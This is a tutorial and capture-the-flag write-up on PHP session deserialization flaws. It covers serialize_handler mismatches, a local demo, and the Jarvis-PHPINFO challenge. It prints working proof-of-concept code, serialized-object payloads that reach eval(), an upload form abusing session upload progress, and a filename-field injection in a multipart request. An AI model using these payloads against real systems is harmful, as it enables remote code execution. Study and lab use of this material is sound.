session deserialization vulnerability

Article directory

  • prerequisite knowledge
    • php code
    • session_start
    • session.upload_progress.enabled
    • session.use_trans_sid
    • Session configuration in php.ini
  • Initial recurrence
    • principle
    • the case
  • No $_SESSION variable assignment
    • Case: Jarvis-PHPINFO
      • poc
      • 1.html
      • change traffic package

Prerequisite knowledge

php code

<?php
error_reporting(0);
ini_set('session. serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session_start

When the session starts automatically or manually via session_start(), PHP will internally obtain the existing corresponding session data (ie session file) based on the PHPSESSID sent by the client, and PHP will automatically deserialize the contents of the session file, and populate it into the $_SESSION superglobal variable. If there is no corresponding session data, create a file named sess_PHPSESSID (from the client). If no PHPSESSID is sent by the client, a 32-letter PHPSESSID is created and set-cookie is returned.

When PHP stops, it will automatically read the content in $_SESSION, serialize it, and then send it to the session save manager for saving.

Set-Cookie: PHPSESSID=22nf03m50uu2brq62ap515gjo4; path=/

session.upload_progress.enabled

This is also a parameter set by php. On the phpinfo page of this question, we can see that this parameter is On. And when it is On, if we POST a parameter and a file to the server, we can add a piece of data to the session. However, there are conditions: the name of the parameter must be the same as the value of the parameter “session.upload_progress.name”. “session.upload_progress.name” can be found in the php.ini file, and the default is “PHP_SESSION_UPLOAD_PROGRESS”.

session.use_trans_sid

Sometimes browser user settings prohibit cookies. When client-side cookies are disabled, php can also automatically add session id to the url parameter and the hidden field of the form, but this requires the session in php.ini .use_trans_sid is set to open, and you can also call ini_set at runtime to set this configuration item.

Session configuration in php.ini

session.save_path=”” –Set the storage path of the session
session.save_handler=”” – set user-defined storage function, if you want to use PHP’s built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen – Specifies whether the session module starts a session at the beginning of the request, defaults to 0 and does not start
session.serialize_handler string – defines the name of the handler used for serialization/deserialization. php is used by default

session.auto_start Off
session. save_handler files
session.save_path D:\phpstudy_pro\Extensions\tmp\tmp
session.serialize_handler php

There are three engines defined by session.serialize_handler, as shown in the following table:

Processor name Storage format
php key name + vertical bar + value serialized by serialize() function
php_binary key name The corresponding ASCII character + key name + the value serialized by the serialize() function
php_serialize The array

serialized by the serialize() function

Open the save path to find the file name corresponding to the sessionID and find the following content

session|s:6:"coleak";

compare three different

session|s:6:"coleak";
<0x07>sessions:6:"coleak";//0x07 here is an invisible character
a:1:{s:7:"session";s:6:"coleak";}

If built on Linux, common php-session storage locations are:

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

Initial recurrence

Principle

Use a different engine to process session files

Case

1.php

<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "

“;
?>

2.php

<?php
ini_set('session. serialize_handler', 'php');
session_start();
class student{<!-- -->
    var $name;
    var $age;
    function __wakeup(){<!-- -->
        echo "hello ".$this->name."!";
    }
}
?>

First visit 1.php, and add a ‘|’ at the beginning of the incoming parameter. Since 1.php is processed by the php_serialize engine, it will only treat ‘|’ as a normal character. Then visit 2.php, because the php engine is used, so when encountering ‘|’, it will be regarded as the separator between the key name and the value, resulting in ambiguity, causing it to directly compare ‘|’ when parsing the session file The value after ‘ is deserialized.

poc

<?php
class student{<!-- -->
    var $name;
    var $age;
}
$a = new student();
$a->name = "coleak";
$a->age = "100";
echo serialize($a);
?>

O:7:”student”:2:{s:4:”name”;s:6:”coleak”;s:3:”age”;s:3:”100″;}

payload

|O:7:”student”:2:{s:4:”name”;s:6:”coleak”;s:3:”age”;s:3:”100″;}

View the file content at this time

a:1:{s:4:“name”;s:63:“|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3: “age”;s:3:”100″;}”;}

access2.php

hello coleak!

No $_SESSION variable assignment

There is also an upload_process mechanism in PHP, which automatically creates a key-value pair in $_SESSION. There is just a user-controllable part in the value. See the official description. This function uses the session to return the uploaded file in real time during the file upload process. schedule

Here you need to upload the file first, and POST a variable with the same name as session.upload_process.name. The backend will automatically serialize the POST variable with the same name as a key and store it in the session file. The next request will deserialize the session file and extract the key from it. So the attack point is exactly the same as the previous part, and the program still uses a different session processing engine.

session.upload_progress.enabled = On -- Indicates that upload progress tracking is allowed and the $_SESSION variable is filled
session.upload_progress.cleanup = Off -- Indicates that after all POST data (that is, the upload is completed), the progress information is not cleaned ($_SESSION variable)

Case: Jarvis-PHPINFO

<?php
//A webshell is wait for you
ini_set('session. serialize_handler', 'php');
session_start();
class OowoO
{<!-- -->
    public $mdzz;
    function __construct()
    {<!-- -->
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {<!-- -->
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{<!-- -->
    $m = new OowoO();
}
else
{<!-- -->
    highlight_string(file_get_contents('index.php'));
}
?>

Check phpinfo to find different processing engines

session.serialize_handler php php_serialize

session.upload_progress.enabled On On

session.upload_progress.cleanup Off Off

poc

<?php
class OowoO
{<!-- -->
    public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo(serialize(new OowoO()));
?>

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

payload

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__ )));";}

1.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <form action = "http://localhost:8084/index.php" method = "POST" enctype = "multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
        <input type="file" name="file">
        <input type="submit">
    </form>
</body>
</html>

Change traffic package

Content-Disposition: form-data; name="file"; filename="|O:5:"OowoO":1:{s:4:"mdzz ";s:36:"print_r(scandir(dirname(__FILE__)));";}"
Content-Type: text/plain